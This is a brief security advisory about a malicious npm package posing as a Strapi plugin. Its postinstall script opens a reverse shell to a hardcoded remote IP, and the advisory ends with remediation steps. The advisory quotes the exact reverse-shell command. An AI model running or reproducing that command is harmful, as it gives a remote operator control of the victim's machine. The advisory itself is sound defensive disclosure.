Malicious code in strapi-plugin-revs-meeb322k (npm)
What this malware does
[email protected] ships a postinstall.js registered as scripts.postinstall in package.json. On npm install, the script runs child_process.exec of bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1 2>&1', opening an interactive reverse shell from the installer's machine to the hardcoded remote endpoint 14.225.210.85:443 and giving the operator of that endpoint arbitrary command execution on the installer.

Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
